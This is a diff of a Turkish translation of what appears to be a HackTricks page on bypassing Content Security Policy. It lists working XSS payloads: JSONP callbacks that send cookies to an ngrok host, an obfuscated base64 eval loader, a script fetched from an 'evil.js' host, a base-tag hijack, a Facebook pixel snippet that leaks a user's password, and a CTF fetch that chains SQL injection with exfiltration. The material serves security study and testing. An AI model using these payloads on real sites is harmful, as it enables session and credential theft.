@ -197,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>" <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
> >
``` ```
#### Angular kullanarak ve `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane ile payloadlar ([bu yazıya göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)): #### Angular + `window` nesnesini döndüren fonksiyonlara sahip bir library ile payloadlar ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP] > [!TIP]
> Yazıda, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden tüm **kütüphaneleri** **yükleyebileceğiniz**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğiniz ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü kontrol edebileceğiniz** gösterilmektedir. > Yazıda, `cdn.cloudflare.com`'dan (veya izin verilen başka bir JS libraries deposundan) tüm **libraries**'i **load** edebileceğinizi, her library'den eklenen tüm fonksiyonları çalıştırıp **hangi libraries'den hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
```html ```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -230,9 +231,9 @@ Angular XSS bir sınıf adından:
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div> </div>
``` ```
#### Google reCAPTCHA JS kodunu istismar etme #### google recaptcha JS kodunu kötüye kullanma
[**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) istismar ederek CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz: Bu [**CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)'a göre, bir CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) öğesini kötüye kullanarak CSP'yi atlayıp rastgele JS kodu çalıştırabilirsiniz:
```html ```html
<div <div
ng-controller="CarouselController as c" ng-controller="CarouselController as c"
@ -243,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
``` ```
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): Daha fazla [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html ```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script> <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -260,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js"; b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' /> b.nonce=a.nonce; doc.body.appendChild(b)' />
``` ```
#### www.google.com'u açık yönlendirme için istismar etme #### www.google.com'u open redirect için istismar etme
Aşağıdaki URL, example.com'a yönlendirir (buradan): Aşağıdaki URL example.com'a yönlendirir (kaynak: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
``` ```
https://www.google.com/amp/s/example.com/ https://www.google.com/amp/s/example.com/
``` ```
\*.google.com/script.google.com'ı istismar etme \*.google.com/script.google.com'in Kötüye Kullanımı
Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için istismar etmek mümkündür. Bunu [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) olduğu gibi yapabilirsiniz. Google Apps Script'i, script.google.com içinde bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bu, [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Üçüncü Taraf Uç Noktaları + JSONP ### Üçüncü Taraf Endpoint'leri + JSONP
```http ```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
``` ```
Bu tür senaryolar, `script-src`'nin `self` ve belirli bir beyaz listeye alınmış alan adı olarak ayarlandığı durumlarda JSONP kullanılarak atlatılabilir. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük: Bu gibi senaryolar, `script-src` `self` olarak ayarlandığında ve beyaz listeye alınmış belirli bir alan adı olduğunda JSONP kullanılarak atlatılabilir. JSONP endpoint'leri, güvensiz `callback` yöntemleri sayesinde bir saldırganın XSS gerçekleştirmesine olanak tanır, çalışan payload:
```html ```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script> "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -288,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html ```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script> <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
``` ```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini atlamak için kullanılmaya hazır JSONP uç noktaları içerir.** [**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı sitelerin CSP bypass'ı için hazır JSONP endpoints içerir.**
**Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** aynı zafiyet meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir. Aynı zafiyet, **güvenilir endpoint içinde bir Open Redirect bulunması** durumunda da meydana gelir; çünkü eğer başlangıç endpoint'i güvenilir kabul ediliyorsa, yönlendirmeler de güvenilir sayılır.
### Üçüncü Taraf İstismarları ### Üçüncü Taraf Suistimalleri
Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alanı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır: Aşağıdaki [yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP içinde bir yerde izin verilmiş olabilecek birçok üçüncü taraf domain, veri exfiltrate etmek veya JavaScript kodu çalıştırmak için kötüye kullanılabilir. Bu üçüncü taraflardan bazıları şunlardır:
| Varlık | İzin Verilen Alan | Yetenekler | | Varlık | İzin Verilen Domain | Yetenekler |
| ----------------- | -------------------------------------------- | ------------ | | ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil | | Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -307,90 +308,90 @@ Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#b
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec | | Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec | | Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Hedefinizin CSP'sinde izin verilen alanlardan herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır. Hedefinizin CSP'sinde bu izin verilen domainlerden herhangi birini bulursanız, büyük olasılıkla üçüncü taraf servisine kayıt olup CSP'yi bypass ederek verileri o servise exfiltrate edebilir veya kod çalıştırabilirsiniz.
Örneğin, aşağıdaki CSP'yi bulursanız: Örneğin, aşağıdaki CSP'yi bulursanız:
``` ```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​ Content-Security-Policy​: default-src 'self’ www.facebook.com;​
``` ```
ve veya
``` ```
Content-Security-Policy​: connect-src www.facebook.com;​ Content-Security-Policy​: connect-src www.facebook.com;​
``` ```
Veri sızdırmanız gerektiğinde, her zamanki gibi [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapıldığı gibi, bu genel adımları takip etmelisiniz: Verileri exfiltrate edebilmelisiniz; tıpkı [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile her zaman yapıldığı gibi. Bu durumda şu genel adımları izlersiniz:
1. Buradan bir Facebook Geliştirici hesabı oluşturun. 1. Buradan bir Facebook Developer account oluşturun.
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin. 2. Yeni bir "Facebook Login" app oluşturun ve "Website"i seçin.
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın. 3. "Settings -> Basic"e gidin ve "App ID"nizi alın.
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz. 4. Hedef siteden exfiltrate etmek istediğiniz verileri, doğrudan Facebook SDK gadget'ı "fbq" ile bir "customEvent" ve data payload aracılığıyla exfiltrate edebilirsiniz.
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 5. App'inizin "Event Manager"ına gidin ve oluşturduğunuz uygulamayı seçin (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web sitenizden gönderilen etkinlikleri görün. 6. "Test Events" sekmesini seçin, "your" web sitesi tarafından gönderilen eventleri görebilirsiniz.
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız: Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
```JavaScript ```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​ fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
}); });
``` ```
Diğer yedi üçüncü taraf alan adı için, önceki tabloda belirtilen, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın. Önceki tabloda belirtilen diğer yedi third-party domain için, bunları kötüye kullanmanın başka birçok yolu vardır. Diğer third-party suiistimalleri hakkında ek açıklamalar için daha önceki [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) yazısına bakın.
### RPO (Göreli Yol Üzerine Yazma) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Göreli Yol Üzerine Yazma (RPO) adı verilen başka bir teknik vardır. Yol kısıtlamalarını bypass etmek için bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir: Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde bypass edilebilir:
```html ```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script> <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
``` ```
Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir. Tarayıcı en sonunda `https://example.com/scripts/angular/angular.js` yükleyecektir.
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz anlamına geldiği için çalışır; bu CSP ile uyumludur. Bu işe yarıyor çünkü tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyorsunuz; bu da CSP ile uyumludur.
∑, bunu çözerek aslında `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar ki bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir. Böylece, tarayıcı bunu çözecek, fiilen `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacak, ki bu `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.** Tarayıcı ile sunucu arasındaki URL yorumlamasındaki bu tutarsızlıktan **faydalanarak, yol kuralları atlatılabilir**.
Çözüm, sunucu tarafında `%2f`'yi `/` olarak değerlendirmemek ve bu sorunu önlemek için tarayıcı ve sunucu arasında tutarlı bir yorumlama sağlamaktır. Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememek ve böylece tarayıcı ile sunucunun yorumlamasını tutarlı hale getirerek bu sorunu önlemektir.
Çevrimiçi Örnek:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output) Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframe'lerde JS yürütme ### Iframe'larda JS yürütme
{{#ref}} {{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}} {{#endref}}
### eksik **base-uri** ### Eksik **base-uri**
Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirmek için kötüye kullanabilirsiniz. Eğer **base-uri** direktifi yoksa, bunu kullanarak bir [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirebilirsiniz.
Ayrıca, eğer **sayfa bir script'i göreli bir yol kullanarak yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak script'i **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\ Ayrıca, eğer **sayfa göreli bir yol kullanarak bir script yüklüyorsa** (örn. `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsa, **base** **tag**'ini kötüye kullanarak script'in **kendi sunucunuzdan yüklenmesini sağlayarak XSS elde edebilirsiniz.**\
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın. Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base içinde bir httpS URL'si kullanın.
```html ```html
<base href="https://www.attacker.com/" /> <base href="https://www.attacker.com/" />
``` ```
### AngularJS olayları ### AngularJS events
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Bununla birlikte, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir nesne olan `$event` sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir. Content Security Policy (CSP) olarak bilinen belirli bir politika JavaScript olaylarını kısıtlayabilir. Yine de, AngularJS buna alternatif olarak custom events sunar. Bir event içinde AngularJS, native tarayıcı event nesnesine referans veren `$event` adında özel bir obje sağlar. Bu `$event` objesi CSP'yi aşmak için suistimal edilebilir. Özellikle Chrome'da `$event/event` objesinin, olayın yürütülme zincirinde yer alan obje dizisini tutan `path` adlı bir özelliği vardır ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı sandbox kaçışı taktikleri için kritik öneme sahiptir.
Bu diziyi `orderBy` filtresine yönlendirerek, üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır: Bu dizi `orderBy` filtresine yönlendirilerek üzerinde yineleme yapılabilir; böylece son eleman (window nesnesi) kullanılarak `alert()` gibi bir global fonksiyon tetiklenebilir. Aşağıdaki örnek kod parçası bu süreci açıklamaktadır:
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
``` ```
Bu snippet, `ng-focus` direktifinin olayı tetiklemek için kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır. Bu snippet, olayı tetiklemek için `ng-focus` direktifinin kullanımını, `path` dizisini manipüle etmek üzere `$event.path|orderBy` kullanılmasını ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesinden yararlanılmasını vurgular; böylece `document.cookie` ortaya çıkar.
**Diğer Angular bypass'larını bulmak için** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **Diğer Angular bypass'larını şurada bulun:** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS ve beyaz listeye alınmış alan ### AngularJS ve whitelisted domain
``` ```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
``` ```
Angular JS uygulamasında script yükleme için alanları beyaz listeye alan bir CSP politikası, geri çağırma fonksiyonlarının ve belirli savunmasız sınıfların çağrılması yoluyla atlatılabilir. Bu teknikle ilgili daha fazla bilgi, bu [git deposunda](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) bulunan ayrıntılı bir kılavuzda mevcuttur. Angular JS uygulamasında script yükleme için alan adlarını beyaz listeleyen bir CSP politikası, callback functions'ın çağrılması ve bazı vulnerable classes aracılığıyla atlatılabilir. Bu teknikle ilgili daha fazla bilgi, detaylı bir rehberde bulunmaktadır ve bu [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) üzerinde erişilebilir.
Çalışan yükler: Çalışan payloads:
```html ```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> <script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script> ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -398,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working --> <!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"> <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
``` ```
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi) Diğer JSONP arbitrary execution endpoints [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) adresinde bulunabilir (bazıları silinmiş veya düzeltilmiş)
### Yönlendirme ile Atlatma ### Bypass via Redirection
CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendiriyorsa, yine de başarısız olacaktır. CSP, sunucu tarafı yönlendirme ile karşılaştığında ne olur? Eğer yönlendirme izin verilmeyen farklı bir origin'e götürüyorsa, bu yine de başarısız olur.
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendiriyorsa, orijinal kısıtlamaları atlayabilir. Bununla birlikte, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, yönlendirme farklı bir path'e götürürse, orijinal kısıtlamaları atlatabilir.
İşte bir örnek: İşte bir örnek:
```html ```html
@ -424,68 +425,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body> </body>
</html> </html>
``` ```
Eğer CSP `https://www.google.com/a/b/c/d` olarak ayarlandıysa, yol dikkate alındığından, hem `/test` hem de `/a/test` scriptleri CSP tarafından engellenecektir. CSP `https://www.google.com/a/b/c/d` olarak ayarlandıysa, path dikkate alındığından hem `/test` hem de `/a/test` scripts CSP tarafından engellenecektir.
Ancak, son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`** olarak **yönlendirilecektir**. Bu bir yönlendirme olduğu için, **yol dikkate alınmaz** ve **script yüklenebilir**, böylece yol kısıtlaması aşılmış olur. Ancak son `http://localhost:5555/301` **sunucu tarafında `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` adresine redirect edilecektir**. Bu bir redirect olduğundan, **path dikkate alınmaz**, ve **script yüklenebilir**, böylece path kısıtlaması atlatılmış olur.
Bu yönlendirme ile, yol tamamen belirtilse bile, yine de aşılmış olacaktır. Bu yönlendirme ile path tamamen belirtilmiş olsa bile yine atlatılacaktır.
Bu nedenle, en iyi çözüm, web sitesinin herhangi bir açık yönlendirme zafiyeti olmadığından ve CSP kurallarında istismar edilebilecek herhangi bir alan adı bulunmadığından emin olmaktır. Bu nedenle en iyi çözüm, web sitesinde herhangi bir open redirect zafiyeti olmamasını ve CSP kurallarında sömürülebilecek domains bulunmamasını sağlamaktır.
### CSP'yi asılı işaretleme ile aşma ### Bypass CSP with dangling markup
[Buradan nasıl olduğunu okuyun](../dangling-markup-html-scriptless-injection/index.html). Nasıl yapılacağını [buradan oku](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; XSS aracılığıyla ### 'unsafe-inline'; img-src \*; via XSS
``` ```
default-src 'self' 'unsafe-inline'; img-src *; default-src 'self' 'unsafe-inline'; img-src *;
``` ```
`'unsafe-inline'` demek, kodun içinde herhangi bir scripti çalıştırabileceğiniz anlamına gelir (XSS kodu çalıştırabilir) ve `img-src *` demek, web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir. `'unsafe-inline'` kod içinde herhangi bir script'i çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` web sayfasında herhangi bir kaynaktan herhangi bir görüntüyü kullanabileceğiniz anlamına gelir.
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır): Bu CSP'yi görüntüler aracılığıyla veriyi sızdırarak atlatabilirsiniz (bu durumda XSS, bot'un erişebildiği bir sayfanın SQLi içerdiği bir CSRF'i suiistimal eder ve flag'i bir görüntüyle çıkarır):
```javascript ```javascript
<script> <script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_) Image().src='http://PLAYER_SERVER/?'+_)
</script> </script>
``` ```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle) Kaynak: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Bu yapılandırmayı **bir resim içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**" kullanarak (normal bir XSS gibi) **resmi yükleyebilir**, **içinden JS'yi çıkarabilir** ve **çalıştırabilirsiniz**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) Bu yapılandırmayı, bir resmin içine yerleştirilmiş javascript kodunu **yüklemek** için de kötüye kullanabilirsiniz. Örneğin sayfa Twitter'dan resim yüklemeye izin veriyorsa, özel bir **image** hazırlayıp Twitter'a **upload** edebilir ve "**unsafe-inline**"ı kötüye kullanarak normal bir XSS gibi çalışacak bir JS kodunu **execute** edebilirsiniz; bu kod resmi **load** edip içindeki JS'i **extract** ederek **execute** eder: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workers ile ### Service Workers ile
Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değildir: Service Workers **`importScripts`** fonksiyonu CSP ile sınırlı değildir:
{{#ref}} {{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md ../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}} {{#endref}}
### Politika Enjeksiyonu ### Policy Injection
